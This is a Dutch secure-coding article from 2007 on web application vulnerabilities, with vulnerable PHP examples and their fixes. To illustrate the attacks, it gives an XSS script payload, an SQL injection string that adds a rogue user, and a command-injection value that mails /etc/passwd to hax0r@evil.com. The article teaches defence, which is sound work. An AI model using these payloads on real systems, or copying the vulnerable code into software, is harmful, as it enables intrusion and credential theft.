Beveiligingen van Webgebaseerde applicaties
Augustus 2007 - Het internet is een in toenemende mate onveilige omgeving. Systemen die direct of indirect aan het internet zijn blootgesteld worden continu gescand op kwetsbaarheden. Waar tot enige tijd geleden deze aanvallen vooral gericht waren op bekende kwetsbaarheden in massaal ingezette software, zien de we het laatste jaar een significante toename in gerichte aanvallen tegen kleinschalige en specialistische software. Met name software die gebruik maakt van webgebaseerde technologie is daarbij een gewild doelwit.
Naast gebruik op het internet wordt webgebaseerde technologie in toenemende mate ingezet voor bedrijfsinterne oplossingen. Veel intranetapplicaties maken gebruik van webtechnologie. Minder bekend is echter dat, vanuit het perspectief van een informatiebeveiliger, intranettoepassingen minstens net zo risicovol zijn als internetapplicaties. Uit veel onderzoek is gebleken dat ten minste 60% van alle beveiligingsincidenten afkomstig zijn vanaf het interne netwerk. Sommige studies gaan zelfs zover dat zij cijfers die oplopen tot 75% á 80% noemen.
Aanvallers ontwikkelen ook steeds meer manieren om intranetapplicaties aan te vallen vanaf het internet. Hierbij worden firewalls en andere beschermingsmaatregelen omzeild door de aanval uit te laten voeren vanaf web servers, die typisch op het bedrijfsnetwerk te vinden zijn, of via webbrowsers van gebruikers.
De aard van de aanvallen verandert ook continue. Waar tien jaar geleden met name aanvallen tegen het netwerk plaatsvonden (OSI-laag 2 t/m 4) zien we dat aanvallen geleidelijk aan de stack opgaan. Dit wordt geïllustreerd door de exploits die in het afgelopen jaar gevonden zijn in bijvoorbeeld het Windows WMF formaat, of in de ANI-code. Deze aanvallen kunnen worden gepositioneerd in de presentation layer (layer 6). In het afgelopen jaar zien we ook langzaam problemen ontstaan die nog hoger in de stack zitten: op de application layer. Protocollen zoals HTTP, of formaten zoals XML, staan ook meer en meer in de aandacht van aanvallers. Met eenvoudige beschermingsmaatregelen, zoals het goed gebruik van SSL, kan al enige winst gehaald worden tegen aanvallen, maar de belangrijkste winst is toch te halen bij het “gewoon” goed ontwikkelen van software.
Figuur 1, Het OSI model
Wanneer software wordt ontwikkeld, dan is het van belang dat bij ieder regel programmacode die geschreven wordt, aandacht besteedt wordt aan de mogelijkheden tot misbruik van die code. Hierbij moet voorkomen worden dat er een houding ontstaat die er vanuit gaat dat de applicatie “toch slechts op het intranet gebruikt wordt, en daarom niet hoeft te worden beveiligd”.
Bijna alle bekende aanvalssoorten zijn te voorkomen door vast te houden aan één uitgangspunt:
Valideer alle data die een applicatie inkomt en verlaat.
Ga er dus nooit vanuit dat enige input te vertrouwen is. De meeste webgebaseerde applicaties zijn vrij rechtlijnig. Aan de ene kant komt er data die gebruikt wordt om de functionaliteit van de applicatie te bieden; aan de andere kant zit een database waarin persistente data wordt opgeslagen.
Bovenstaande uitspraak wordt aangetoond door bijvoorbeeld Microsoft bulletins te bestuderen. In augustus 2007 werden negen patches vrijgegeven; van deze negen hadden er in ieder geval vier direct betrekking op gebrek aan voldoende inputvalidatie.
Veel voorkomende fouten
Een aantal veel voorkomende fouten die veroorzaakt worden door onvoldoende controle op invoer en/of op uitvoer is: cross-site scripting, injectie, ongewenste programma-uitvoering. Naast de fouten die het gevolg zijn van onvoldoende controle op de invoer of de uitvoer van de applicatie zijn er nog twee aspecten die, geredeneerd vanuit applicatiebeveiliging, aandacht verdienen. Dit zijn sessiebeheer en configuratiebeheer. De fouten die in de volgende secties worden beschreven worden geïllustreerd aan de (vereenvoudigde) programmacode. Deze code is geschreven in de PHP scripttaal.
Cross-site scripting
Cross site scripting is een kwetsbaarheid waarbij een applicatie de data die het ontvangt niet controleert voordat het in de database wordt opgeslagen. De data wordt ongewijzigd teruggegeven aan de gebruiker. Dit kan er toe leiden dat de webbrowser van die gebruiker acties gaat uitvoeren die ongewenst zijn. Een klassiek voorbeeld is bijvoorbeeld:
<?php
s1 = OCIParse($c1, "select * from departments");
OCIExecute($s1, OCI_DEFAULT);
while (OCIFetch($s1))
{
$l_id1 = ociresult($s1, "ID");
$l_name1 = ociresult($s1, "NAME");
$l_location1 = ociresult($s1, "LOCATION");
echo "$l_id1" . ' ' . "$l_name1" . ' ' . "$l_location1";
}
?> Allereerst is dit codevoorbeeld in sterke mate afhankelijk van het formaat van de onderliggende database, doordat het gebruik maakt van een “select *”. Netter was geweest om gebruik te maken van “select ID, NAME, LOCATION”. Vanuit een beveiligingsperspectief is er ook iets mis. Stel dat de kolom NAME de waarde “<script language=”JavaScript”>alert(‘Hello world!’)</script>” bevat. Wanneer de echo statement de waarde terug naar de browser van de gebruiker stuurt zal deze geparst worden en leiden tot een JavasScript popup. Het gebruik van JavaScript popups is vervelend, maar niet echt dramatisch. Vervelender wordt het wanneer door middel van AJAX technologie allerlei andere acties worden uitgevoerd. Anders dan het uitschakelen van JavaScript is hier niet tegen te verdedigen.
Betere code zou zijn geweest:
$l_name1 = htmlentities(ociresult($s1, "NAME"));
De htmlentities functie zal alle “gevaarlijk tekens” die in HTML bestaan (met name < en >) vervangen door een referentie, zoals < en >. Cross-site scripting problemen worden veroorzaakt doordat de applicatie de input die afkomstig is van de database niet valideert en de data die vanuit de applicatie naar de eindgebruiker wordt gestuurd niet worden gevalideerd.
Heise security heeft een interessante demo van cross site scripting gepubliceerd. De URL is http://www.heise-security.co.uk/articles/93141.
Injectie
Door het onvoldoende controleren van invoer die afkomstig is van gebruikers is het mogelijk om bijvoorbeeld een database te beïnvloeden.
Onderstaande codevoorbeeld probeert een selectie te maken uit een database.
// Select met bind variabelen $s1 = OCIParse($c1, "select * from departments where id = $var1");
Wanneer een eindgebruiker in staat is de waarde van variabele $var1 te beïnvloeden, en daar bijvoorbeeld de waarde
“1 OR 1=1; INSERT INTO users VALUES (1, ‘hax0r’, ‘pwn3d’);”
voor in te voeren, dan wordt de query die naar de database wordt gestuurd als volgt:
SELECT * FROM departments WHERE ID=1 OR 1=1; INSERT INTO users VALUES (1, ‘hax0r’, ‘pwn3d’);
Dit is een geldige query en zal ertoe leiden dat een aanvaller login credentials voor eigen gebruik aan de database kan toevoegen.
Tegen deze aanval is redelijk eenvoudig te verdedigen: maak gebruik van bind variabelen of escape de string voordat deze gebruikt wordt om een query mee te maken. PHP biedt de mogelijk tot het gebruik van”Magic Quotes”. Hiermee zal PHP zelf escapen, wanneer dat noodzakelijk is. Het gebruik van Magic Quotes is echter omstreden, omdat nogal wat programmeurs (ikzelf inbegrepen) vinden dat een programmeertaal niet op eigen initiatief waarden in variabelen moet gaan aanpassen.
Ongewenste programma-uitvoering
Nogal wat applicaties vertrouwen op aanroepen van externe programma’s om een (deel van) de activiteiten uit te voeren. Ook het aanroepen van programma’s moet beschouwd worden als een koppeling naar buiten de applicatie. Zeker op Unix-achtige systemen is het soms mogelijk om ongewenste activiteiten te creëren. Bijvoorbeeld door de aanroep:
<?php System(“/pad/naar/mijn/programma $arg1 $arg2”) ?>
Voert programma uit met de twee argumenten als parameters door deze aan een shell te geven. Wanneer $arg1 en $arg2 niet worden gevalideerd kan een aanvaller daar bijvoorbeeld de waarde `mail –s password hax0r@evil.com < /etc/passwd` invoert, krijgt hij keurig de password file van het systeem toegemaild. Beter zou zijn geweest:
<?php System(escapeshellcmd(“/pad/naar/mijn/programma $arg1 $arg2”)); ?>
Sessiebeheer
Veel applicaties vereisen dat een gebruiker zich laat authenticeren voordat hij gebruik mag maken van het systeem. Aan de hand van de authenticatiegegevens die de gebruiker aanreikt wordt besloten of hij al dan niet gebruik mag maken van een systeem en welke rechten hij op dat moment heeft. In het geval van een webgebaseerde applicatie wordt daarvoor vaak een sessie opgezet.
Echter, omdat http-verzoeken in principe onafhankelijk van elkaar zijn en omdat http een stateless protocol is, vertrouwen bijna alle applicaties op de systeemgebruiker om te bepalen bij welke sessie een verzoek hoort. De meest voorkomende technieken die hiervoor gebruik worden zijn:
- het zetten van een cookie in de browser van een gebruiker;
- het coderen van een sessie-identifier in de URL
Beide situaties vertrouwen op de “eerlijkheid” van de gebruiker om de waarden die in het cookie liggen opgeslagen niet te veranderen, of om de URL niet te wijzigen. Veel ontwikkelplatformen bieden standaard mogelijkheden om sessies op te zetten en te controleren. Gebruik die mogelijkheden en ga niet proberen je eigen sessiemechaniek te verzinnen. Door zelf het wiel opnieuw uit te vinden wordt je applicatie heel snel kwetsbaar voor sessie hijacking.
Configuratiebeheer
Applicaties maken vaak gebruik van databases waar zij persistente informatie opslaan en opvragen. De toenemende populariteit van service-oriented architectures leidt er ook toe dat applicaties steeds vaker samengesteld worden uit operaties die door bestaande webservices worden geleverd. Al deze koppelingen vereisen dat de applicatie zich authenticeert bij de externe software. Vaak gebeurt dit aan de hand van gebruikersnaam en wachtwoord. Onderstaande codevoorbeeld illustreert dit:
<?php
$c1=OCILogon("demo", "demo_pwd", "XE");
if ( ! $c1 )
{
echo "Unable to connect: " . var_dump( OCIError() );
die();
}
?> Het valt meteen op dat in dit codevoorbeeld gebruikersnaam en wachtwoord in de programmacode zijn ingebed. Dat zal ertoe leiden dat gebruikersnaam en wachtwoord nooit meer veranderd zullen worden. Iedere wijziging leidt immers tot een wijziging van productiecode. Netter zou zijn om deze informatie in een losse file te plaatsen:
Credentials.php.inc:
<?php define(‘DBLOGIN’, ‘demo’); define(‘DBPASSWD’, ‘demo_pwd’); define(‘DBNAME’, ‘XE’); ?>
Page.php
<?php require_once ‘credentials.php.inc’; $c1 = OCILogon(DBLOGIN, DBPASSWD, DBNAME); ?>
Hiermee wordt de productiecode ontkoppeld van de externe software. Door gebruik te maken van een constante wordt het ook onmogelijk de credentials te wijzigen, nadat ze eenmaal gezet zijn.
Een veel groter probleem is dat het plaatsen van de username en password in een gedeeld filesystem een extra probleem met zich meebrengt en dat er dan aanvullende eisen dienen te worden gesteld aan de inrichting van dat filesysteem. Wanneer er geen noodzaak bestaat om gebruik te maken van username/password, dan dient het voorkomen te worden.
Aanbevelingen
Naar aanleiding van bovenstaande analyse kan een aantal aanbevelingen worden gedaan:
Valideer alle invoer
Na bovenstaand betoog is deze aanbeveling voor de hand liggend. Zorg ervoor dat alle gegevens die als invoer dienen voor de applicatie gecontroleerd wordt op correctheid en op ongewilde bij-effecten. Met name een controle op de aanwezigheid van bijzondere tekens in de invoer is hierbij van belang.
Valideer alle uitvoer
Naast het valideren van alle invoer is ook het valideren van alle uitvoer van belang. Door een correcte uitvoervalidatie uit te voeren kan worden voorkomen dat ongewenste bij-effecten optreden, zoals cross-site scripting of ongewenste applicatie-execute.
Vind het wiel niet opnieuw uit
Wanneer een applicatiesuite mogelijkheden biedt die benodigd zijn in de eigen applicatie; gebruik die dan ook. Ga geen eigen sessie- of authenticatiemechanismen uitvinden.
Ga zorgvuldig om met authenticatiegegevens
Leg nooit authenticatiegegevens vast in de programmacode zelf, maar beperk deze tot configuratiefiles. Zelfs wanneer deze in configuratiefiles worden geplaatst dient overwogen te worden of, bijvoorbeeld, het gebruik van login en wachtwoord zinvol is.
Gebruik ten minste één keer een penetration-testtool
Een groot deel van bovengenoemde kwetsbaarheden is redelijk eenvoudig te detecteren door het gebruik van tools. Een goede tool om eens naar te kijken is WebScarab van OWASP. WebScarab functioneert als een proxy en gaat tussen de browser en de server zitten. Als gevolg daarvan zie het programma zowel de vragen als de antwoorden die tussen de browser en de web applicatie heen en weer gaan. Een paar heel interessante functionaliteiten om mee te spelen zijn de ingebouwde crawler en de ingebouwde fuzzer. Met name deze laatste is uitstekend in staat om geautomatiseerd te testen op inputvalidatieproblemen, zoals cross-site scripting en/of sql injection.
Over de auteur
Dr. Kees Leune CISSP is werkzaam als senior consultant bij Northwave. Zijn interessegebieden omvatten security management, monitoring en incident response. Leune is gepromoveerd als informatiekundige aan de Universiteit van Tilburg en is gecertificeerd informatiesysteembeveiliger.
Over Northwave
Northwave is een bedrijf dat zich specialiseert in het leveren van kwalitatief hoogwaardig advies op het gebied van informatiebeveiliging, compliance en risicomanagement. Northwave gelooft in het aangaan van lange-termijn partnerships met haar klanten en probeert hierbij de rol van huisleverancier voor activiteiten op haar werkterrein te bieden.

Reacties
Nieuwe reactie inzenden